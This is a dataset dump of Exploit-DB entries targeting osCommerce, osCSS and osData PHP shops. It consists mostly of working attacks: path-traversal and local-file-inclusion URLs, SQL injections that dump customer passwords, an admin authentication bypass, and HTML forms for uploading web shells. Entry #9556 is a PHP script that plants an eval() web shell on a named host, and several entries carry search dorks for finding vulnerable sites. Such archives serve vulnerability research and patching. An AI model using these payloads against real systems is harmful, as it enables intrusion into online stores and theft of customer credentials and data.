deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24126
Description: osCommerce 2.x - File Manager Directory Traversal
Type: webapps
Platform: php
Date: 2004-05-17
Author: Rene

Exploit:
source: https://www.securityfocus.com/bid/10364/info

osCommerce has a directory-traversal vulnerability that allows a remote attacker to possibly obtain sensitive information. The software improperly sanitizes user-supplied input and allows '../' directory-traversal character sequences when serving files. 

This allows the attacker to access files outside of the application document root, potentially allowing the attacker to view files that contain sensitive information or aid them in further attacks on the computer.

file_manager.php?action=download&filename=../../../../../../etc/passwd 

An additional exploit was provided by Megasky <magasky@hotmail.com>: 

/admin/file_manager.php?action=read&filename=../../../../
Exploit-DB #33913
Description: osCommerce 3.0a5 - Local File Inclusion / HTML Injection
Type: webapps
Platform: php
Date: 2010-04-30
Author: Jordi Chancel

Exploit:
source: https://www.securityfocus.com/bid/39820/info

osCommerce is prone to a local file-include vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to execute local files within the context of the webserver process.

The attacker may leverage the HTML-injection issue to execute arbitrary HTML and script code in the context of the affected browser. This may let the attacker steal cookie-based authentication credentials or control how the site is rendered to the user.

osCommerce 3.0a5 is affected; other versions may also be vulnerable. 

http://www.example.com/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../cmd
Exploit-DB #5075
Description: osCommerce Addon Customer Testimonials 3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-07
Author: it's my

Exploit:
#########################################################
##
##  osCommerce SQL Injection (customer_testimonials.php)
##
##
##  Author: it's my
##
##  Home page: http://www.antichat.ru
##
#########################################################
##
## Dork: inurl:"customer_testimonials.php"
##
#########################################################
   
   Exploit:

http://site.com/customer_testimonials.php?testimonial_id=99999+union+select+1,2,concat(customers_lastname,0x3a,customers_password,0x3a,customers_email_address),4,5,6,7,8+from+customers/*

#########################################################
## it's my sick world =/   ####    www.antichat.ru
#########################################################

source: http://addons.oscommerce.com/info/5477

# milw0rm.com [2008-02-07]
Exploit-DB #14799
Description: osCommerce Online Merchant - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-26
Author: LoSt.HaCkEr

Exploit:
# Exploit Title: [oscommerce-3.0a5 Remote File Inclusion ] 
# Date: [26-8-2010] 
# Author: LoSt.HaCkEr  /  aDaM_TRoJaN
# Software Link: [http://www.oscommerce.com/solutions/downloads] 
# Version: [v 3.0 ] 
# Tested on: [Windows XP] 
# CVE :
#Contact: LoSt.HaCkEr[at]yahoo[dot]com /0r/  aDaM_TRoJaN@yahoo.com
 +++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit: http://target/oscommerce-3.0a5/oscommerce-3.0a5/oscommerce/includes/classes/actions.php?module=[SHeLL]
 +++++++++++++++++++++++++++++++++++++++++++++++++++++
A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers
Exploit-DB #12811
Description: osCommerce Online Merchant 2.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-30
Author: MasterGipy

Exploit:
      ______                _       _   _             
      | ___ \              | |     | | (_)            
      | |_/ /_____   _____ | |_   _| |_ _  ___  _ __  
      |    // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \   
      | |\ \  __/\ V / (_) | | |_| | |_| | (_) | | | |   
      \_| \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| 

        _____                      _____  _____ 
       |_   _|                    |  _  ||  _  |
         | | ___  __ _ _ __ ___   | |/' || |_| |
         | |/ _ \/ _` | '_ ` _ \  |  /| |\____ |
         | |  __/ (_| | | | | | | \ |_/ /.___/ /
         \_/\___|\__,_|_| |_| |_|  \___/ \____/
         
                           DEFACEMENT it's for script kiddies...
_____________________________________________________________
   
[$] Exploit Title     : Oscommerce Online Merchant v2.2 - Remote File Upload
[$] Date              : 30-05-2010            
[$] Author            : MasterGipy
[$] Email             : mastergipy [at] gmail.com
[$] Bug               : Remote File Upload
[$] Vendor            : http://www.oscommerce.com
[$] Google Dork       : n/a


[%] vulnerable file: /admin/file_manager.php

[REMOTE FILE UPLOAD VULNERABILITY]

[$] Exploit:

<html><head><title>Oscommerce Online Merchant v2.2 - Remote File Upload </title></head>
<br><br><u>UPLOAD FILE:</u><br>
<form name="file" action="http://<--  CHANGE HERE   -->/admin/file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data">
<input type="file" name="file_1"><br>
<input name="submit" type="submit" value="   Upload   " >
</form>

<br><u>CREATE FILE:</u><br>
<form name="new_file" action="http://<--  CHANGE HERE   -->/admin/file_manager.php/login.php?action=save" method="post">
FILE NAME:<br>
<input type="text" name="filename">&nbsp; (ex. shell.php)<br>FILE CONTENTS:<br>
<textarea name="file_contents" wrap="soft" cols="70" rows="10">&lt;/textarea&gt;
<input name="submit" type="submit" value="   Save   " >
</form>
</html>



[=] Thanks to  Flyff666 for the original exploit: 
    - Oscommerce Online Merchant v2.2 File Disclosure / Admin ByPass

[§] Greetings from PORTUGAL ^^
Exploit-DB #12801
Description: osCommerce Online Merchant 2.2 - File Disclosure / Authentication Bypass
Type: webapps
Platform: php
Date: 2010-05-30
Author: Flyff666

Exploit:
--------------------------------------------
Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass
--------------------------------------------

Author : Flyff666
Date : May, 30, 2010
Location : Tangerang, Indonesia
Time Zone : GMT +7:00
Software : OsCommerce Online Merchant v2.2
Tested on : All OS
--------------------------------------------
Email : Dream_Theatre@rocketmail.com
gReets : Mywisdom(abang.. wkkwkwk), Kiddies, Chaer, Petimati, c4uR
WhiteHat, Cruz3n, Gunslinger, v3n0m, z0mb13, Bumble_be
Spykit, BobyHikaru, Fribo. all member.
Site : Http://www.Devilzc0de.org/forum/
Forum : Http://Indonesianhacker.or.id/
--------------------------------------------

# ByPass Page Admin :

You can use this Trick if admin folder not protected by .htaccess

if you Want to explore admin page without login. You can use /login.php behind the name of the file

Example :

http://[site]/admin/backup.php/login.php

or

http://[site]/admin/file_manager.php/login.php

Demo :

http://server/store/admin/file_manager.php/login.php

You can See all file in Directory Oscommerce.. haha ;)

and you can download all file with tRick above


# File Disclosure :

in : admin/file_manager.php/login.php?action=download&filename=

Exploit : admin/file_manager.php/login.php?action=download&filename=/includes/configure.php

Example : http://[site]/[path]/admin/file_manager.php/login.php?action=download&filename=/includes/configure.php
Exploit-DB #9556
Description: osCommerce Online Merchant 2.2 RC2a - Code Execution
Type: webapps
Platform: php
Date: 2009-08-31
Author: flyh4t

Exploit:
<?php
print_r('
+---------------------------------------------------------------------------+
osCommerce Online Merchant 2.2 RC2a RCE Exploit
by Flyh4t
mail: phpsec@hotmail.com
team: http://www.wolvez.org
dork: Powered by osCommerce
Gr44tz to q1ur3n ã€puret_tã€ukã€toby57 and all the other members of WST
Thx to exploits of blackh
+---------------------------------------------------------------------------+
');
$host ='democn.51osc.com';
$path = '/';
$admin_path = 'admin/';
$shellcode = "filename=fly.php&file_contents=test<?php%20@eval(\$_POST[aifly]);?>";
$message="POST ".$path.$admin_path."file_manager.php/login.php?action=save HTTP/1.1\r\n";
$message.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message.="Accept-Language: zh-cn\r\n";
$message.="Content-Type: application/x-www-form-urlencoded\r\n";
$message.="Accept-Encoding: gzip, deflate\r\n";
$message.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$message.="Host: $host\r\n";
$message.="Content-Length: ".strlen($shellcode)."\r\n";
$message.="Connection: Close\r\n\r\n";
$message.=$shellcode;
$fd = fsockopen($host,'80');
if(!$fd)
{
    echo '[~]No response from'.$host;
    die;
}
fputs($fd,$message);
echo ("[+]Go to see U webshell : $host/fly.php");
?>

# milw0rm.com [2009-08-31]
Exploit-DB #31640
Description: osCommerce Poll Booth 2.0 AddOn - 'pollbooth.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-13
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/28752/info

osCommerce Poll Booth is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Poll Booth v2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/pollBooth.php?op=results&pollID=-1+union+select+password,1,2,3+from+users
Exploit-DB #15651
Description: OsCSS 1.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-12-01
Author: Shichemt Alen

Exploit:
# Exploit Title: OsCSS Remote File Upload Exploit
# Date: 12-1-2010
# Author: Shichemt Alen
# Software Link: None
# Version: 1.2
# Platform / Tested on: Windows XP SP2 DE & Ubuntu 10.10
# category: webapps/0day
# Dork : inurl:"sorry script'kiddies"
# Contact : shichemt@hotmail.com - http://www.shichemt-alen.com/


#Exploit :
Upload Shell

<html><head><title>Shell Upload</title></head>
<br><br><u>Upload Shell:</u><br>
<form name="file" action="http://localhost/admin/categories.php/login.php?action=insert_category&cPath=" method="post" enctype="multipart/form-data">
<input type="file" name="categories_image"><br>
<input name="submit" type="submit" value="   Upload   " >
</form>
<center>
<a href="http://www.shichemt-alen.com/">Shichemt-Alen © 2010</a>
</center></html>



############ Made in Tunisia +216 ############

Greets to :  Geeks Team {Pr0t3ct0r,Hamed, K-D0vic, Mid0vik, UbunBoy}

-----------------------

xTobi, Net-Own3r, Wx, BosnianTREX, Number7, Ghost-tn and All Friends...

& All Tunisian and Muslim Hackers...


############ Made in Tunisia +216 ############
Exploit-DB #12856
Description: osCSS 1.2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-03
Author: indoushka

Exploit:
======================================================================= 
# osCSS 1.2.1 (REMOTE FILE UPLOAD) Vulnerabilities 
======================================================================= 

######################################################################## 
# Vendor: http://www.oscommerce.com/ 
# Date: 2010-05-27 
# Author : indoushka 
# Thanks to : Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com ! 
# Contact : indoushka@hotmail.com 
# Home : www.arab-blackhat.co.cc
# Dork : E-Commerce Engine Copyright © 2005 osCSS 
# Bug  : Remote File Upload 
# Tested on : windows SP2 Français V.(Pnx2 2.0) 
######################################################################## 
                                                                                                                                                                                                
# Exploit By indoushka 

<html><head><title> osCSS 1.2.1 - Remote File Upload </title></head> 

<br><br><u>UPLOAD FILE:</u><br> 

<form name="file" action="http://<--  CHANGE HERE   -->/admin/file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data"> 

<input type="file" name="file_1"><br> 

<input name="submit" type="submit" value="   Upload   " > 

</form> 

<br><u>CREATE FILE:</u><br> 

<form name="new_file" action="http://<--  CHANGE HERE   -->/admin/file_manager.php/login.php?action=save" method="post"> 

FILE NAME:<br> 

<input type="text" name="filename">&nbsp; (ex. shell.php)<br>FILE CONTENTS:<br> 

<textarea name="file_contents" wrap="soft" cols="70" rows="10">&lt;/textarea&gt; 

<input name="submit" type="submit" value="   Save   " > 

</form> 

</html> 

Go to Original path to finde what you upload : http://127.0.0.1/osCSS/ch99.php

Dz-Ghost Team : Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel :
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R * www.alkrsan.net * MR.SoOoFe * ThE g0bL!N
Exploit-DB #11612
Description: osCSS 1.2.1 - Database Backups Disclosure
Type: webapps
Platform: php
Date: 2010-03-02
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : osCSS 1.2.1 Backups Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.sec-war.com                                                                     
| # Dork     : Powered by osCSS                                                                                                              
| # Dork     : Index of /osCSS/admin/backups
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                                     
======================      Exploit By indoushka       =================================
# Exploit  :  
# osCSS, Open Source E-Commerce Solutions
# http://www.oscss.org
# Database Backup For osCSS Demo Shop
# Copyright (c) 2010 osCSS Demo Shop

http://127.0.0.1/osCSS/admin/backups/

http://127.0.0.1/osCSS/admin/ (to login)

exampl 2 login:

login:admin@localhost
pass :admin

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * www.no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net * D4NB4R http://www.ilegalintrusion.net/foro/
--------------------------------------------------------------------------------------------------------------
Exploit-DB #34284
Description: osCSS 1.2.2 - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41510/info

osCSS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

osCSS version 1.2.2 is vulnerable; other versions may also be affected.

http://www.example.com/admin/currencies.php?page=1"><script>alert(document.cookie)</script>&cID=1
Exploit-DB #35521
Description: osCSS 2.1 - Multiple Cross-Site Scripting / Local File Inclusions
Type: webapps
Platform: php
Date: 2011-03-29
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47074/info

osCSS is prone to a cross-site scripting vulnerability and multiple local file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the webserver process.

osCSS 2.1.0 RC12 is vulnerable; other versions may also be affected. 


Cross-site scripting:

http://www.example.com/oscss2/admin108/editeur/tiny_mce/plugins/tinybrowser/upload.php?feid=%22);alert(0);//


Local file include:

http://www.example.com/oscss2/admin108/index.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00

http://www.example.com/oscss2/admin108/popup_image.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00
Exploit-DB #18099
Description: osCSS2 - '_ID' Local file Inclusion
Type: webapps
Platform: php
Date: 2011-11-09
Author: Stefan Schurtz

Exploit:
Advisory:              		osCSS2 "_ID" parameter Local file inclusion
Advisory ID:           	SSCHADV2011-034
Author:                		Stefan Schurtz
Affected Software:  	Successfully tested on osCSS2 2.1.0 (latest version)
Vendor URL:          	http://oscss.org/
Vendor Status:       	Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

==========================
Vulnerability Description
==========================

osCSS2 2.1.0 "_ID" parameter is prone to a LFI vulnerability

==========================
Vulnerable code
==========================

//.htaccess
RewriteRule ^shopping_cart.php(.{0,})$ content.php?_ID=shopping_cart.php&%{QUERY_STRING}

//content.php
require($page->path_gabarit());

// includes/classes/page.php
public function pile_file_lang($path_file){
    global $lang;
    if(substr($path_file,0,strlen(DIR_FS_CATALOG)) !=DIR_FS_CATALOG) $path_file= DIR_FS_CATALOG.$path_file;

if(!in_array($path_file,(array)$this->PileFileLang))
      include_once($path_file);
}

==================
PoC-Exploit
==================

http://<target>/catalog/shopping_cart.php?_ID=../../../../../../../../../../../etc/passwd
http://<target>/catalog/content.php?_ID=../../../../../../../../../../../etc/passwd

=========
Solution
=========

Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

====================
Disclosure Timeline
====================

08-Nov-2011 - informed vendor
08-Nov-2011  release date of this security advisory

========
Credits
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References
===========

http://oscss.org/
http://forums.oscss.org/2-security/oscss2-id-parameter-local-file-inclusion-t1999.html
http://dev.oscss.org/task/892
http://www.rul3z.de/advisories/SSCHADV2011-034.txt
Exploit-DB #17069
Description: oscss2 2.1.0 rc12 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-29
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................osCSS2 2.1.0 RC12
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.oscss.org/
Disclosure Date.........4/6/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in osCSS2 2.1.0 RC12 can be
exploited to include arbitrary files.


--PoC--

http://localhost/oscss2/admin108/index.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00

http://localhost/oscss2/admin108/popup_image.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00

------------------------------------------------------------------------
Software................osCSS2 2.1.0 RC12
Vulnerability...........Reflected Cross-site Scripting
Threat Level............Low (1/5)
Download................http://www.oscss.org/
Disclosure Date.........4/6/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A reflected cross-site scripting vulnerability in osCSS2 2.1.0 RC12
can be exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/oscss2/admin108/editeur/tiny_mce/plugins/tinybrowser/upload.php?feid=%22);alert(0);//
Exploit-DB #4870
Description: osData 2.08 Modules Php121 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-09
Author: Cold Zero

Exploit:
=========================================================================
osData <= 2.08 Modules Php121 Local File Include Vulnerability 
=========================================================================
Found by :
Cold z3ro , http://www.Hackteach.org/cc/
=========================================================================
Download :
http://gscripts.net/free-php-scripts/Dating_Scripts/osDate/details.html
=========================================================================
Bug :
if (file_exists($php121dir . "php121config.php")) {          <= line 34
		require_once($php121dir . "php121config.php");
	} else {
		die ("PHP121 configuration file does not exist!");
}
=========================================================================
About :
osData is php dating script fully integrates with major bulletin boards 
(phpBB, vBulletin ) and FlashChat and provides several payment modules, 
multiple skins, and free upgrade .
=========================================================================
Usage :
http://host/osData/php121/php121db.php?php121dir=[ File ]%00
=========================================================================
Greets : 
Hack Teach Masters And Members , Xp10 Masters
=========================================================================
Plestine Hackers SQl Command :
0 update palestine set palestine = 'Long live My Homeland';
=========================================================================

# milw0rm.com [2008-01-09]